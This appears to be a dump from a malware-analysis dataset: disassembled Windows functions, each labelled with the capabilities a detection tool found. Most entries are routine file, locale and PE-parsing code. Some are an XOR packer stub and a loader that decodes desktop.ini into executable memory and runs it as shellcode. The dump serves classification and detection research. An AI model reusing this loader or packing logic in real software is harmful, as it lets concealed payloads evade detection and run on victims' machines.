joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..wixburn
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x2c57a73
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..pdata
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x7e6a7e8e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4014a9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x250
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x21c], 6
push ebx
push ebx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push esi
push esi
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x220], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push edx
push edx
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ebx, [ebp - 0x210]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push esi
push esi
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 8]
lea eax, [ebx - 3]
pop ebx
pop esi
pop ebp
ret

Function at 0x401692
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 1
call fcn.004014a9
test eax, eax
jne 0x40172c
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x402196
sub eax, 0x401734
mov dword [esp], 0x401734
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x40172c
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.0040141d
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.00401626
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b400
mov dword [esp], 0x40300c
call fcn.00401e99
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x402653
Capabilities:
Terminate process

Disassembly:
jmp 0x4469ab
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4469bc
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00403b25
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x4026ee
Capabilities:
Query environment variable

Disassembly:
jmp 0x45024d
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x45025e
pop esi
ret
push ebx
push edi
push esi
call fcn.00450134
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00402c2a
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x450286
push ebx
push esi
push edi
call fcn.004039e0
add esp, 0xc
push 0
call fcn.0040404d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x403a58
Capabilities:
Parse pe header

Disassembly:
jmp 0x409fbe
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409ffd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409ffd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409ffd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409ffd
cmp dword [ecx + 0x74], 0xe
jbe 0x409ffd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40986e
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4098a3
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4098a0
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4098ac
add edx, 0x28
cmp edx, esi
jne 0x40988e
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4098a9

Function at 0x44026c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4402ab
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4402ab
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4402ab
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4402ab
cmp dword [ecx + 0x74], 0xe
jbe 0x4402ab
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x44e257
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x47a580]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44e2a2
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0044e758
test al, al
jne 0x44e29c
sub edx, 2
cmp edx, edi
jne 0x44e282
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x44e2c4
lea eax, [edi + 2]
cmp edx, eax
je 0x44e2c4
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0044de50
add esp, 0x10
jmp 0x44e3be
push esi
lea ecx, [ebp - 0x255]
call fcn.0044e758
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x44e307
push dword [ebp - 0x25c]
jmp 0x44e2b4
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x44e344
cmp word [ebp - 0x226], 0
je 0x44e365
cmp word [ebp - 0x226], ax
jne 0x44e344
cmp word [ebp - 0x224], 0
je 0x44e365
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0044de50
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x44e3b1
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x44e31e
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x44e399
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x44e3be
push 0x44d736
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004038e1
add esp, 0x10
jmp 0x44e38e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402306
leave
ret

Function at 0x45455f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00402e28
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4545ce
cmp esi, dword [ebp - 4]
je 0x4545c9
cmp dword [ebp + 0xc], 0
je 0x4545c9
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4545a6
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00453f87
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4545d0
xor eax, eax
inc eax
jmp 0x4545d0
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x45778e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x48ba48]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4577ce
cmp byte [ebx], 0xa
jne 0x4577ce
or byte [edi + eax + 0x28], 4
jmp 0x4577d3
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4578d2
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4578b5
inc eax
cmp dl, 0xd
je 0x4577ff
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x457825
cmp eax, ecx
jae 0x457833
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4577e7
jmp 0x4578d2
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4578b0
cmp dword [ebp - 0x10], 0
je 0x4578b0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x48ba48]
test byte [eax + edi + 0x28], 0x48
je 0x45788a
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x457875
mov byte [esi], dl
jmp 0x457886
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x48ba48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4578d2
cmp byte [ebp - 1], 0xa
jne 0x457899
cmp esi, ebx
jne 0x457899
mov byte [esi], 0xa
jmp 0x4578d1
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401550
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4578d2
mov byte [esi], 0xd
jmp 0x4578d1
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x48ba48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4578cf
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4578d2
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x45792e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x48ba48]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x457974
cmp word [ebx], dx
jne 0x457974
or byte [eax + edi + 0x28], 4
jmp 0x457979
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x457adc
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x457abc
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4579ba
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4579f0
cmp eax, edx
jae 0x4579fe
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x457995
jmp 0x457adc
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x457ab7
cmp dword [ebp - 0x18], 0
je 0x457ab7
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x48ba48]
test byte [eax + edi + 0x28], 0x48
je 0x457a8d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x457a51
mov word [esi], cx
jmp 0x457a88
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x48ba48]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x48ba48]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x48ba48]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x457adc
pop eax
cmp word [ebp - 4], ax
jne 0x457a9d
cmp esi, ebx
jne 0x457a9d
mov word [esi], ax
jmp 0x457ad9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401550
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x457adc
push 0xd
pop eax
jmp 0x457a98
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x48ba48]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x457ad6
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x457adc
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401747
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00405810
add esp, 0xc
lea eax, [ebp - 0x208]
push esi
push eax
push dword [0x4104e4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
add esi, 0xffffffe0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp eax, edi
je 0x40179e
cmp eax, esi
jbe 0x4017ac
lea eax, [ebp - 0x104]
push 0x40fef4
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
jg 0x401817
mov al, byte [ebp - 0x208]
or al, 0x20
cmp al, 0x63
jge 0x4017db
lea eax, [ebp - 0x104]
push 0x40d0a8
push eax
call ebx
jmp 0x401817
push edi
push edi
lea eax, [ebp - 0x104]
push edi
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00405868
add esp, 0x14
lea eax, [ebp - 0x104]
push edi
push edi
push eax
call esi
lea eax, [ebp + eax - 0x104]
push eax
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.00405868
add esp, 0x14
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
jle 0x401849
lea eax, [ebp - 0x104]
push eax
call esi
cmp byte [ebp + eax - 0x105], 0x5c
je 0x401849
lea eax, [ebp - 0x104]
push 0x40d0ac
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call ebx
lea eax, [ebp - 0x104]
push eax
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4023a2
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
push edi
xor esi, esi
xor edi, edi
cmp dword [esp + 0x10], esi
push esi
mov dword [esp + 0xc], esi
push esi
je 0x40240a
push dword [0x410bac]
push dword [0x410bc8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x4023cf
push 1
pop edi
call fcn.0040227d
test eax, eax
je 0x40241c
call fcn.004022f5
test eax, eax
je 0x4025af
and byte [0x410d00], 0
push 0x24
push esi
push 0x4190c0
mov dword [0x410b48], esi
call fcn.00405810
add esp, 0xc
mov dword [0x419204], esi
jmp 0x40241f
push esi
push dword [0x410bc8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x402427
push 1
pop edi
cmp edi, esi
jne 0x4025af
cmp dword [0x411044], esi
je 0x4025af
cmp dword [0x41920c], esi
je 0x4025af
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, 0x419080
movsx eax, word [0x410ba6]
cmp dword [0x419204], eax
jge 0x4025ad
lea eax, [esp + 0x18]
push esi
push eax
push 0x2e
push ebx
push dword [0x410bc8]
call ebp
cmp eax, 1
jne 0x4025a2
cmp dword [esp + 0x18], 0x2e
jne 0x4025a2
mov eax, dword [0x419080]
cmp eax, 0x2014b50
jne 0x402589
movsx esi, word [0x4190a0]
movsx eax, word [0x41909e]
add esi, eax
push 2
movsx eax, word [0x41909c]
add esi, eax
mov eax, dword [0x410f24]
lea eax, [eax + esi + 0x2e]
push eax
mov dword [0x410f24], eax
push dword [0x411044]
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
test eax, eax
je 0x40257d
push eax
mov dword [0x411044], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
mov dword [0x4109bc], eax
je 0x40257d
push dword [0x419204]
push dword [0x41920c]
call fcn.00401fe2
add dword [0x4109bc], eax
push 0x2e
push ebx
push dword [0x4109bc]
call fcn.00405d10
add dword [0x4109bc], 0x2e
add esp, 0x14
lea eax, [esp + 0x18]
push 0
push eax
push esi
push dword [0x4109bc]
push dword [0x410bc8]
call ebp
test eax, eax
je 0x402560
cmp dword [esp + 0x18], esi
jne 0x402560
push dword [0x410f24]
inc dword [esp + 0x14]
inc dword [0x419204]
push dword [0x419204]
push dword [0x41920c]
call fcn.0040200e
add esp, 0xc
jmp 0x402568
or dword [esp + 0x10], 0xffffffff
push 1
pop edi
push dword [0x411044]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
and dword [0x4109bc], 0
jmp 0x402585
or dword [esp + 0x10], 0xffffffff
push 1
pop edi
xor esi, esi
jmp 0x4025a5
cmp eax, 0x4034b50
jne 0x4025a2
cmp word [0x410ba6], 0x7fff
jne 0x4025a2
mov word [0x410ba6], si
push 1
pop edi
cmp edi, esi
je 0x40244c
pop ebp
pop ebx
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret
Function at 0x4027f5
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push 0x410080
call fcn.004041e4
pop ecx
xor edi, edi
call fcn.00404173
mov esi, eax
mov eax, dword [esp + 0xc]
movzx eax, byte [edi + eax]
xor esi, eax
push esi
call fcn.00404189
inc edi
pop ecx
cmp edi, 0xc
jl 0x402804
test byte [0x410b26], 8
je 0x402837
movzx eax, word [0x410b2a]
shr eax, 8
jmp 0x402846
mov eax, dword [0x419090]
shr eax, 0x10
xor ecx, ecx
mov cl, ah
movzx eax, cl
movzx ecx, si
cmp ecx, eax
je 0x402852
or eax, 0xffffffff
jmp 0x402890
mov eax, dword [0x4109ec]
mov ecx, dword [0x4109dc]
cmp eax, ecx
jle 0x402863
mov eax, ecx
mov esi, dword [0x410bb4]
mov ecx, eax
dec eax
test ecx, ecx
je 0x40288e
push ebx
lea edi, [eax + 1]
call fcn.00404173
mov ebx, eax
movzx eax, byte [esi]
xor ebx, eax
push ebx
call fcn.00404189
mov byte [esi], bl
inc esi
dec edi
pop ecx
jne 0x402874
pop ebx
xor eax, eax
pop edi
pop esi
ret

Function at 0x402893
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x410b32]
push ebx
mov dword [0x4109dc], eax
mov eax, dword [0x410b36]
xor ebx, ebx
push esi
test byte [0x410b26], 8
push edi
mov dword [0x4100c4], ebx
mov dword [0x410b4c], eax
je 0x4028ea
mov eax, dword [0x419090]
mov ecx, dword [0x419098]
mov dword [0x410b2e], eax
mov eax, dword [0x419094]
mov dword [0x410b32], eax
mov dword [0x410b36], ecx
mov dword [0x4109dc], eax
mov dword [0x410b4c], ecx
movsx eax, word [0x410b3c]
movsx ecx, word [0x410b3a]
mov edx, dword [0x4190aa]
mov esi, 0x2800
add edx, eax
mov edi, esi
lea ecx, [ecx + edx + 0x1e]
mov eax, ecx
cdq
idiv edi
cmp ecx, ebx
mov edi, edx
jl 0x402a0c
push ebx
sub ecx, edi
push ebx
push ecx
push dword [0x410e04]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x419330], eax
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [0x4109e8]
push dword [0x410e04]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402a06
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x402a06
mov ecx, dword [0x4109e8]
and eax, 0xffff
add ecx, edi
sub eax, edi
test byte [0x4190a6], 8
mov dword [0x410bb4], ecx
mov dword [0x4109ec], eax
je 0x402985
push 0x2e
jmp 0x402a0e
cmp dword [0x41007c], ebx
je 0x402996
call fcn.00402a14
cmp eax, ebx
jne 0x402a0f
cmp dword [0x40ff64], ebx
jne 0x4029b3
cmp dword [0x40ff1c], ebx
jne 0x4029b3
push dword [ebp + 8]
call fcn.0040421c
pop ecx
mov esi, eax
jmp 0x4029bc
xor esi, esi
or dword [0x410bb8], 0xffffffff
cmp esi, ebx
jne 0x4029d3
call fcn.00403fb5
mov esi, eax
cmp esi, ebx
jne 0x4029d3
cmp dword [0x40fefc], ebx
je 0x402a02
mov eax, dword [0x410bb8]
cmp eax, 0xffffffff
je 0x4029e4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x40ff64], ebx
jne 0x402a02
cmp dword [0x40ff1c], ebx
jne 0x402a02
cmp esi, 0x32
jne 0x402a02
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, esi
jmp 0x402a0f
mov dword [0x4109ec], ebx
push 3
pop eax
pop edi
pop esi
pop ebx
leave
ret